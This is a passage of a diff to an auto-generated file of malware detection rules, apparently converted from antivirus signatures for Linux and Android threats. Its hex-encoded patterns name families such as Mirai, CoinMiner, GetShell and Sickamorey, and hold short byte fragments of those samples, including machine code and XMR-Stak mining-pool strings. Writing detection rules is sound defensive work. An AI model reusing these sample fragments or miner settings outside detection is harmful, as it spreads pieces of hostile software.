63 6b 4c 61 6e 63 65 72 2e 43 21 64 68 61 00 01 00 28 01 69 73 5f 70 61 74 68 5f 74 72 61 76 65 72 73 61 6c 5f 6f 72 5f 76 70 6e 73 5f 61 74 74 61 63 6b 5f 72 65 71 } //16675 $a_74_1 = {00 26 01 6e 73 5f 76 70 6e 5f 70 72 6f 63 65 73 73 5f 75 6e 61 75 74 68 65 6e 74 69 63 61 74 65 64 5f 72 65 71 75 65 73 74 01 00 09 01 6d 6d 61 70 73 68 65 6c 6c 01 00 0a 01 44 6f 55 6e 49 6e 6a 65 63 74 01 00 0c 01 43 61 6c 63 44 69 73 74 61 6e 73 65 01 00 0b 01 63 68 65 63 6b 4d 79 44 61 74 61 01 00 14 01 76 70 6e 5f 6c 6f 63 61 74 69 6f 6e } //25973 - $a_6c_2 = {6c 65 6e 00 00 8c de 00 00 04 00 04 00 06 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4c 69 6e 75 78 2f 43 6f 69 6e 4d 69 6e 65 72 2e 42 43 21 4d 54 42 00 02 00 0e 00 58 4d 52 2d 53 74 61 6b 2d 4d 69 6e 65 72 01 00 1d 00 43 50 55 20 62 61 63 6b 65 6e 64 20 6d 69 6e 65 72 20 63 6f 6e 66 69 67 20 66 69 6c 65 01 00 17 00 70 6f 6f 6c 2e 75 73 } //30047 - $a_70_3 = {6f 6c 2e 63 6f 6d 3a 33 33 33 33 01 00 28 00 43 50 55 20 6d 69 6e 69 6e 67 20 63 6f 64 65 20 62 79 20 74 65 76 61 64 6f 72 20 61 6e 64 20 53 43 68 65 72 6e 79 6b 68 01 00 14 00 52 61 6e 64 6f 6d 58 5f 4d 6f 6e 65 72 6f 43 6f 6e 66 69 67 01 00 19 00 64 6f 6e 61 74 65 2e 78 6d 72 2d 73 74 61 6b 2e 6e 65 74 3a 31 34 34 34 31 00 00 03 00 8c e0 } //28024 - $a_00_4 = {0d 00 09 00 21 23 54 45 4c 3a 56 69 72 } //0 - $a_6c_5 = {41 6e 64 72 6f 69 64 4f 53 2f 51 68 50 61 63 6b 65 72 2e 41 00 05 00 20 00 70 40 2d e9 00 60 a0 e1 01 40 a0 e1 40 df 4d e2 00 20 2d e9 ff df 2d e9 14 00 8f e2 0c 10 9f e5 05 00 1c 00 00 20 0f e1 04 00 2d e9 40 2d a0 e3 03 20 82 e0 39 30 42 e2 03 28 82 e0 04 00 2d e9 01 00 06 01 64 6c 6f 70 65 6e 01 00 11 01 6c 69 62 76 6d 6b 69 64 } //28500 - $a_6d_6 = {72 2e 73 6f 01 00 0a 01 4a 4e 49 5f 4f 6e 4c 6f 61 64 01 00 0b 01 67 65 74 44 65 76 69 63 65 49 64 01 00 0f 01 67 65 74 53 75 62 73 63 72 69 62 65 72 49 64 01 00 0f 01 53 49 4d 5f 53 54 41 54 45 5f 52 45 41 44 59 01 00 0b 00 67 65 74 53 69 6d 53 74 61 74 65 00 00 8c e1 00 00 05 00 05 00 06 00 21 23 41 } //27743 + $a_6c_2 = {6c 65 6e 00 00 8c db 00 00 07 00 07 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 52 44 41 21 4d 54 42 00 02 00 2b 01 53 45 4c 45 43 54 20 73 65 6e 73 6f 72 69 64 20 46 52 4f 4d 20 73 65 6e 73 6f 72 73 20 57 48 45 52 45 20 6b 65 6e 6e 75 6e 67 3d 02 00 3d 01 49 4e 53 45 52 54 20 49 4e 54 4f 20 64 61 74 } //30047 + $a_73_3 = {61 74 69 6f 6e 69 64 2c 73 65 6e 73 6f 72 69 64 2c 74 69 6d 65 73 74 61 6d 70 2c 76 61 6c 75 65 29 20 56 41 4c 55 45 53 } //8289 ationid,sensorid,timestamp,value) VALUES + $a_45_5 = {54 20 73 74 61 74 69 6f 6e 69 64 20 46 52 4f 4d 20 73 74 61 74 69 6f 6e 73 20 57 48 45 52 45 20 6e 61 6d 65 3d 01 00 10 01 73 6f 63 6b 65 74 20 6c 69 65 66 65 72 74 20 30 00 00 8c de 00 00 04 00 04 00 06 00 21 23 41 4c 46 50 45 } //17747 + $a_53_6 = {52 3a 4c 69 6e 75 78 2f 43 6f 69 6e 4d 69 6e 65 72 2e 42 43 21 4d 54 42 00 02 00 0e 00 58 4d 52 2d 53 74 61 6b 2d 4d 69 6e 65 72 01 00 1d 00 43 50 55 20 62 61 63 6b 65 6e 64 20 6d 69 6e 65 72 20 63 6f 6e 66 69 67 20 } //14930 condition: - ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25973+(#a_6c_2 & 1)*30047+(#a_70_3 & 1)*28024+(#a_00_4 & 1)*0+(#a_6c_5 & 1)*28500+(#a_6d_6 & 1)*27743) >=5 + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25973+(#a_6c_2 & 1)*30047+(#a_73_3 & 1)*8289+(#a_45_5 & 1)*17747+(#a_53_6 & 1)*14930) >=5 } -rule _InfrastructureShared_20886{ +rule _InfrastructureShared_22151{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,07 00 07 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 52 44 41 21 4d 54 42 00 02 00 2b 01 53 45 4c 45 43 54 20 73 65 6e 73 6f 72 69 64 20 46 52 4f 4d 20 73 65 6e 73 6f 72 73 20 57 48 45 52 45 20 6b 65 6e } //21539 + $a_67_1 = {02 00 3d 01 49 4e 53 45 52 54 20 49 4e 54 4f 20 64 61 74 61 20 28 73 74 61 74 69 6f 6e 69 64 2c 73 65 6e 73 6f 72 69 64 2c 74 69 6d 65 73 74 61 6d 70 2c 76 61 6c 75 65 29 20 56 41 4c 55 45 53 28 02 00 2a 01 53 45 4c 45 43 54 20 73 74 61 74 69 6f 6e 69 64 20 46 52 4f 4d 20 73 74 61 74 69 6f 6e 73 20 57 48 45 52 45 20 6e 61 6d 65 } //30062 + $a_63_3 = {65 74 20 6c 69 65 66 65 72 74 20 30 00 00 8c de 00 00 04 00 04 00 06 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4c 69 6e 75 78 2f 43 6f 69 6e 4d 69 6e 65 72 2e 42 43 21 4d 54 42 00 02 00 0e 00 58 4d 52 2d 53 74 61 6b 2d 4d 69 6e 65 72 01 00 1d 00 43 50 55 20 62 61 63 6b 65 6e 64 20 6d 69 6e 65 72 20 63 6f 6e 66 69 67 20 66 69 6c } //29441 + condition: + ((#a_4c_0 & 1)*21539+(#a_67_1 & 1)*30062+(#a_63_3 & 1)*29441) >=7 + +} +rule _InfrastructureShared_22152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 06 00 21 " @@ -275001,7 +291075,7 @@ rule _InfrastructureShared_20886{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*8295+(#a_65_2 & 1)*24942+(#a_03_3 & 1)*-24531+(#a_62_4 & 1)*29730+(#a_32_5 & 1)*9530) >=4 } -rule _InfrastructureShared_20887{ +rule _InfrastructureShared_22153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0d 00 0d 00 09 00 21 " @@ -275018,7 +291092,7 @@ rule _InfrastructureShared_20887{ ((#a_4c_0 & 1)*21539+(#a_e1_1 & 1)*8192+(#a_e0_2 & 1)*10243+(#a_50_3 & 1)*19521+(#a_6f_5 & 1)*25445+(#a_30_6 & 1)*11620+(#a_61_7 & 1)*14918+(#a_23_8 & 1)*-31776) >=13 } -rule _InfrastructureShared_20888{ +rule _InfrastructureShared_22154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 06 00 21 " @@ -275028,12 +291102,12 @@ rule _InfrastructureShared_20888{ $a_30_2 = {64 2d 25 30 32 64 20 25 30 32 64 3a 25 30 32 64 3a 25 30 32 64 00 00 8c e2 00 00 04 00 04 00 03 00 21 23 41 4c } //11620 $a_61_3 = {6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4d 42 21 4d 54 42 00 03 00 16 00 67 31 61 62 63 34 64 6d 6f 33 35 68 6e 70 32 6c 69 65 30 6b 6a 66 01 00 62 03 00 20 96 e5 00 30 9a e5 a2 49 22 } //14918 $a_23_4 = {04 40 23 e0 00 10 98 e5 00 c0 97 e5 23 44 24 e0 01 00 8d e2 00 10 8a e5 00 c0 88 e5 00 20 87 e5 00 40 86 e5 90 01 01 09 00 eb 00 10 a0 e1 04 00 a0 e1 90 01 01 } //-31776 - $a_18_5 = {8d e2 00 00 83 e0 17 30 50 e5 09 30 c5 e7 01 50 85 e2 0b 00 55 e1 90 00 01 00 34 00 24 00 53 e3 0a 00 00 0a 23 00 53 e3 08 00 00 0a 25 00 53 e3 06 00 00 0a 01 00 50 e2 e6 fe ff 0a 05 30 80 e0 1c 30 d3 e5 3e 00 53 e3 3a 00 53 13 f2 ff ff 1a 00 00 8c e4 00 00 0f 00 0f 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 2f 53 63 6f 75 74 65 72 2e 41 21 64 68 61 00 0a 00 0f 01 23 23 20 77 72 6f 6e 67 20 63 6d 64 20 23 23 01 00 14 01 72 6f 2e 62 75 69 6c 64 2e 66 69 6e 67 65 72 70 72 69 6e 74 01 00 1f 01 72 6f 2e 62 75 69 6c 64 2e 76 65 72 73 69 6f 6e 2e 73 65 63 75 72 69 74 79 5f 70 61 74 63 68 01 00 18 01 72 6f 2e 62 75 69 6c 64 2e 76 65 72 73 69 6f 6e 2e 72 65 6c 65 61 73 65 01 00 } //10 + $a_18_5 = {8d e2 00 00 83 e0 17 30 50 e5 09 30 c5 e7 01 50 85 e2 0b 00 55 e1 90 00 01 00 34 00 24 00 53 e3 0a 00 00 0a 23 00 53 e3 08 00 00 0a 25 00 53 e3 06 00 00 0a 01 00 50 e2 e6 fe ff 0a 05 30 80 e0 1c 30 d3 e5 3e 00 53 e3 3a 00 53 13 f2 ff ff 1a 00 00 8c e2 00 00 05 00 05 00 04 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 52 46 44 69 73 72 75 70 74 2e 41 21 4d 54 42 00 01 00 1a 01 3c 64 65 76 69 63 65 7c 70 6f 77 65 72 7c 70 6f 77 65 72 5f 64 65 62 75 67 3e 01 00 2a 01 53 63 61 6e 6e 69 6e 67 20 65 78 74 65 72 6e 61 6c 20 69 32 63 20 6f 6e 20 50 43 30 28 53 43 4c 29 2f 50 43 31 28 53 44 41 29 01 00 2f 01 57 65 6c 63 6f 6d 65 20 74 6f 20 46 6c 69 70 70 65 72 20 5a 65 72 6f 20 43 6f } //10 condition: ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*25445+(#a_30_2 & 1)*11620+(#a_61_3 & 1)*14918+(#a_23_4 & 1)*-31776+(#a_18_5 & 1)*10) >=5 } -rule _InfrastructureShared_20889{ +rule _InfrastructureShared_22155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 03 00 21 " @@ -275043,7 +291117,30 @@ rule _InfrastructureShared_20889{ ((#a_46_0 & 1)*16675) >=4 } -rule _InfrastructureShared_20890{ +rule _InfrastructureShared_22156{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 52 46 44 69 73 72 75 70 74 2e 41 21 4d 54 42 00 01 00 1a 01 3c 64 65 76 69 63 65 7c 70 6f 77 65 72 7c 70 6f 77 65 72 5f 64 65 62 75 67 3e 01 00 2a 01 53 63 61 6e 6e 69 6e 67 20 65 78 } //21283 + $a_6e_1 = {6c 20 69 32 63 20 6f 6e 20 50 43 30 28 53 43 4c 29 2f 50 43 31 28 53 44 41 29 01 00 2f 01 57 65 6c 63 6f 6d 65 20 74 6f 20 46 6c 69 70 70 65 72 20 5a 65 72 6f 20 43 6f 6d 6d 61 6e 64 20 4c 69 6e 65 20 49 6e 74 65 72 66 61 63 65 21 02 00 32 01 1c 70 16 4c 23 68 23 f0 01 03 23 60 23 68 23 f4 a0 23 23 f0 66 03 43 f4 80 23 43 f0 20 03 23 60 2b } //25972 + $a_6b_2 = {a3 62 ab 68 63 62 eb 68 23 62 38 46 00 00 8c e4 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 47 65 74 53 68 65 6c 6c 2e 46 21 4d 54 42 00 01 00 26 01 f3 0f 1e fa 31 ed 49 89 d1 5e 48 89 e2 48 83 e4 f0 50 54 45 31 c0 31 c9 48 8d 3d 01 ff ff ff ff 15 b3 2d 00 } //-7320 + $a_00_3 = {8c } //-3072 + condition: + ((#a_46_0 & 1)*21283+(#a_6e_1 & 1)*25972+(#a_6b_2 & 1)*-7320+(#a_00_3 & 1)*-3072) >=5 + +} +rule _InfrastructureShared_22157{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 47 65 74 53 68 65 6c 6c 2e 46 21 4d 54 42 00 01 00 26 01 f3 0f 1e fa 31 ed 49 89 d1 5e 48 89 e2 48 83 e4 f0 50 54 45 31 c0 31 c9 48 8d 3d 01 ff ff ff ff 15 b3 2d 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_22158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0f 00 0f 00 07 00 21 " @@ -275059,7 +291156,7 @@ rule _InfrastructureShared_20890{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*28530+(#a_6c_2 & 1)*29230+(#a_54_3 & 1)*25441+(#a_72_4 & 1)*29793+(#a_52_5 & 1)*21320+(#a_6e_6 & 1)*26996) >=15 } -rule _InfrastructureShared_20891{ +rule _InfrastructureShared_22159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 06 00 21 " @@ -275073,7 +291170,7 @@ rule _InfrastructureShared_20891{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*29800+(#a_00_2 & 1)*28784+(#a_61_3 & 1)*29440+(#a_50_5 & 1)*21315) >=6 } -rule _InfrastructureShared_20892{ +rule _InfrastructureShared_22160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,15 00 15 00 0b 00 21 " @@ -275092,7 +291189,7 @@ rule _InfrastructureShared_20892{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28793+(#a_63_2 & 1)*17759+(#a_90_3 & 1)*-16251+(#a_ff_4 & 1)*-757+(#a_54_5 & 1)*17996+(#a_72_6 & 1)*30511+(#a_00_8 & 1)*11826+(#a_78_9 & 1)*14918+(#a_63_10 & 1)*29793) >=21 } -rule _InfrastructureShared_20893{ +rule _InfrastructureShared_22161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -275104,7 +291201,7 @@ rule _InfrastructureShared_20893{ ((#a_54_0 & 1)*18467+(#a_85_1 & 1)*400+(#a_b8_2 & 1)*16128) >=3 } -rule _InfrastructureShared_20894{ +rule _InfrastructureShared_22162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 06 00 21 " @@ -275118,7 +291215,7 @@ rule _InfrastructureShared_20894{ ((#a_46_0 & 1)*16675+(#a_29_1 & 1)*9248+(#a_6f_2 & 1)*29231+(#a_00_3 & 1)*26724+(#a_5f_5 & 1)*1792) >=3 } -rule _InfrastructureShared_20895{ +rule _InfrastructureShared_22163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 08 00 21 " @@ -275134,7 +291231,7 @@ rule _InfrastructureShared_20895{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*29285+(#a_55_3 & 1)*24321+(#a_f7_4 & 1)*-30234+(#a_46_5 & 1)*21792+(#a_ae_6 & 1)*-8147+(#a_e0_7 & 1)*-20735) >=4 } -rule _InfrastructureShared_20896{ +rule _InfrastructureShared_22164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 06 00 21 " @@ -275149,7 +291246,7 @@ rule _InfrastructureShared_20896{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*27745+(#a_79_2 & 1)*28525+(#a_af_3 & 1)*-8187+(#a_e0_4 & 1)*-20991+(#a_ae_5 & 1)*-8147) >=3 } -rule _InfrastructureShared_20897{ +rule _InfrastructureShared_22165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -275161,7 +291258,7 @@ rule _InfrastructureShared_20897{ ((#a_4c_0 & 1)*21539+(#a_af_1 & 1)*-8187+(#a_e0_2 & 1)*-20991) >=11 } -rule _InfrastructureShared_20898{ +rule _InfrastructureShared_22166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 0c 00 21 " @@ -275180,7 +291277,7 @@ rule _InfrastructureShared_20898{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*18783+(#a_02_2 & 1)*22355+(#a_00_4 & 1)*4+(#a_3a_5 & 1)*19521+(#a_30_6 & 1)*11585+(#a_2f_8 & 1)*11264+(#a_79_9 & 1)*30050+(#a_67_10 & 1)*24948+(#a_98_11 & 1)*-955) >=2 } -rule _InfrastructureShared_20899{ +rule _InfrastructureShared_22167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 05 00 21 " @@ -275193,7 +291290,7 @@ rule _InfrastructureShared_20899{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*10496+(#a_73_3 & 1)*28271+(#a_09_4 & 1)*14637) >=4 } -rule _InfrastructureShared_20900{ +rule _InfrastructureShared_22168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -275205,7 +291302,7 @@ rule _InfrastructureShared_20900{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29801+(#a_45_2 & 1)*96) >=3 } -rule _InfrastructureShared_20901{ +rule _InfrastructureShared_22169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -275215,7 +291312,7 @@ rule _InfrastructureShared_20901{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20902{ +rule _InfrastructureShared_22170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,07 00 07 00 09 00 21 " @@ -275233,7 +291330,7 @@ rule _InfrastructureShared_20902{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28524+(#a_2f_2 & 1)*4608+(#a_2f_3 & 1)*29281+(#a_00_4 & 1)*0+(#a_3a_5 & 1)*17744+(#a_65_6 & 1)*786+(#a_63_7 & 1)*25695+(#a_42_8 & 1)*19745) >=7 } -rule _InfrastructureShared_20903{ +rule _InfrastructureShared_22171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,09 00 09 00 09 00 21 " @@ -275251,7 +291348,7 @@ rule _InfrastructureShared_20903{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25205+(#a_65_2 & 1)*24940+(#a_f3_3 & 1)*-14397+(#a_3a_4 & 1)*19521+(#a_63_5 & 1)*25857+(#a_01_6 & 1)*5631+(#a_68_7 & 1)*26962+(#a_43_8 & 1)*12601) >=9 } -rule _InfrastructureShared_20904{ +rule _InfrastructureShared_22172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -275262,7 +291359,7 @@ rule _InfrastructureShared_20904{ ((#a_46_0 & 1)*16675+(#a_0d_2 & 1)*15104) >=3 } -rule _InfrastructureShared_20905{ +rule _InfrastructureShared_22173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 07 00 21 " @@ -275278,7 +291375,7 @@ rule _InfrastructureShared_20905{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*28793+(#a_00_2 & 1)*144+(#a_44_3 & 1)*3843+(#a_65_4 & 1)*29728+(#a_64_5 & 1)*30322+(#a_2e_6 & 1)*29801) >=4 } -rule _InfrastructureShared_20906{ +rule _InfrastructureShared_22174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 03 00 21 " @@ -275290,7 +291387,7 @@ rule _InfrastructureShared_20906{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_68_2 & 1)*8243) >=1 } -rule _InfrastructureShared_20907{ +rule _InfrastructureShared_22175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,07 00 07 00 07 00 21 " @@ -275306,7 +291403,7 @@ rule _InfrastructureShared_20907{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*30821+(#a_6c_2 & 1)*27485+(#a_68_3 & 1)*25966+(#a_74_4 & 1)*29303+(#a_54_5 & 1)*21061+(#a_5d_6 & 1)*23297) >=7 } -rule _InfrastructureShared_20908{ +rule _InfrastructureShared_22176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 08 00 21 " @@ -275323,7 +291420,7 @@ rule _InfrastructureShared_20908{ ((#a_46_0 & 1)*21283+(#a_72_1 & 1)*30319+(#a_70_2 & 1)*25971+(#a_65_3 & 1)*24942+(#a_74_4 & 1)*8243+(#a_6c_5 & 1)*15726+(#a_3d_6 & 1)*29728+(#a_00_7 & 1)*-10689) >=2 } -rule _InfrastructureShared_20909{ +rule _InfrastructureShared_22177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 07 00 21 " @@ -275339,7 +291436,7 @@ rule _InfrastructureShared_20909{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29541+(#a_6c_2 & 1)*15726+(#a_3d_3 & 1)*29728+(#a_00_4 & 1)*-10689+(#a_00_5 & 1)*16386+(#a_61_6 & 1)*25449) >=6 } -rule _InfrastructureShared_20910{ +rule _InfrastructureShared_22178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 05 00 21 " @@ -275353,7 +291450,7 @@ rule _InfrastructureShared_20910{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28502+(#a_7d_2 & 1)*-22016+(#a_90_3 & 1)*16129+(#a_64_4 & 1)*25439) >=4 } -rule _InfrastructureShared_20911{ +rule _InfrastructureShared_22179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 06 00 21 " @@ -275367,7 +291464,7 @@ rule _InfrastructureShared_20911{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28257+(#a_64_3 & 1)*25971+(#a_6c_4 & 1)*30036+(#a_9a_5 & 1)*1475) >=6 } -rule _InfrastructureShared_20912{ +rule _InfrastructureShared_22180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 08 00 21 " @@ -275383,7 +291480,7 @@ rule _InfrastructureShared_20912{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*265+(#a_0c_2 & 1)*-15974+(#a_73_3 & 1)*26912+(#a_20_4 & 1)*26912+(#a_2d_5 & 1)*13925+(#a_30_6 & 1)*25956) >=2 } -rule _InfrastructureShared_20913{ +rule _InfrastructureShared_22181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 07 00 21 " @@ -275399,7 +291496,7 @@ rule _InfrastructureShared_20913{ ((#a_46_0 & 1)*21283+(#a_65_1 & 1)*12148+(#a_74_2 & 1)*28515+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=6 } -rule _InfrastructureShared_20914{ +rule _InfrastructureShared_22182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -275421,7 +291518,7 @@ rule _InfrastructureShared_20914{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_08_11 & 1)*0+(#a_f6_12 & 1)*-6771) >=13 } -rule _InfrastructureShared_20915{ +rule _InfrastructureShared_22183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 03 00 21 " @@ -275433,7 +291530,7 @@ rule _InfrastructureShared_20915{ ((#a_46_0 & 1)*16675+(#a_e1_1 & 1)*4101+(#a_a0_2 & 1)*10210) >=2 } -rule _InfrastructureShared_20916{ +rule _InfrastructureShared_22184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,07 00 07 00 07 00 21 " @@ -275447,7 +291544,7 @@ rule _InfrastructureShared_20916{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29793+(#a_6e_2 & 1)*28018+(#a_70_3 & 1)*25459+(#a_00_5 & 1)*43) >=7 } -rule _InfrastructureShared_20917{ +rule _InfrastructureShared_22185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 02 00 21 " @@ -275457,7 +291554,7 @@ rule _InfrastructureShared_20917{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20918{ +rule _InfrastructureShared_22186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 0b 00 21 " @@ -275477,7 +291574,7 @@ rule _InfrastructureShared_20918{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*278+(#a_69_2 & 1)*28018+(#a_00_3 & 1)*28196+(#a_05_4 & 1)*28214+(#a_00_5 & 1)*21581+(#a_ff_6 & 1)*-7264+(#a_00_7 & 1)*-13242+(#a_75_8 & 1)*12152+(#a_00_9 & 1)*20548+(#a_6e_10 & 1)*29440) >=5 } -rule _InfrastructureShared_20919{ +rule _InfrastructureShared_22187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -275488,7 +291585,7 @@ rule _InfrastructureShared_20919{ ((#a_4c_0 & 1)*21539+(#a_10_1 & 1)*-24576) >=2 } -rule _InfrastructureShared_20920{ +rule _InfrastructureShared_22188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -275500,7 +291597,7 @@ rule _InfrastructureShared_20920{ ((#a_41_0 & 1)*20515+(#a_98_1 & 1)*-4582+(#a_4f_2 & 1)*19801) >=3 } -rule _InfrastructureShared_20921{ +rule _InfrastructureShared_22189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 0b 00 21 " @@ -275514,12 +291611,12 @@ rule _InfrastructureShared_20921{ $a_8b_6 = {48 89 ef e8 90 02 1c ba 10 00 00 00 48 89 e6 89 df e8 90 00 05 00 20 03 48 8d 51 ff be 00 00 00 00 4c 89 c7 e8 90 01 04 48 8b 45 00 c7 00 62 61 73 68 c6 40 04 00 90 00 05 00 24 03 bf 03 00 00 00 e8 90 01 04 48 8b 35 } //6208 $a_89_7 = {e8 90 01 04 } //400 $a_90_8 = {02 } //-1917 - $a_90_10 = {00 00 8c 1a 01 00 02 00 02 00 02 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4b 56 21 4d 54 42 00 01 00 74 01 00 00 44 82 21 c8 c0 02 09 f8 20 03 01 00 73 26 01 00 44 82 21 c8 c0 02 09 f8 20 03 80 84 02 00 03 00 44 82 00 13 02 00 21 c8 c0 02 09 f8 20 03 25 80 02 02 02 00 51 82 21 c8 c0 02 21 20 20 02 09 f8 20 03 25 80 02 02 80 11 02 00 25 80 02 02 03 14 10 00 3d 00 05 24 10 00 bc 8f 21 20 93 02 03 1a 10 00 03 00 25 12 00 00 e2 a2 00 00 83 a0 01 00 73 26 01 00 74 01 21 10 0b 01 24 18 4f 00 06 00 61 04 21 58 60 00 ff ff 63 24 00 ff 02 24 25 18 62 00 01 00 63 24 21 58 60 00 21 18 83 00 00 00 62 90 00 00 00 00 00 00 22 a1 00 } //-30464 + $a_90_10 = {00 00 8c 1d 01 00 02 00 02 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 2f 53 69 63 6b 61 6d 6f 72 65 79 2e 42 21 64 68 61 00 01 00 15 01 2f 73 79 73 74 65 6d 2f 6c 69 62 25 73 2f 76 6e 64 6b 2d 25 64 01 00 20 01 2f 61 70 65 78 2f 63 6f 6d 2e 61 6e 64 72 6f 69 64 2e 76 6e 64 6b 2e 76 25 64 2f 6c 69 62 25 73 01 00 6c 01 2f 73 79 73 74 65 6d 2f 6c 69 62 36 34 3a 2f 61 70 65 78 2f 63 6f 6d 2e 61 6e 64 72 6f 69 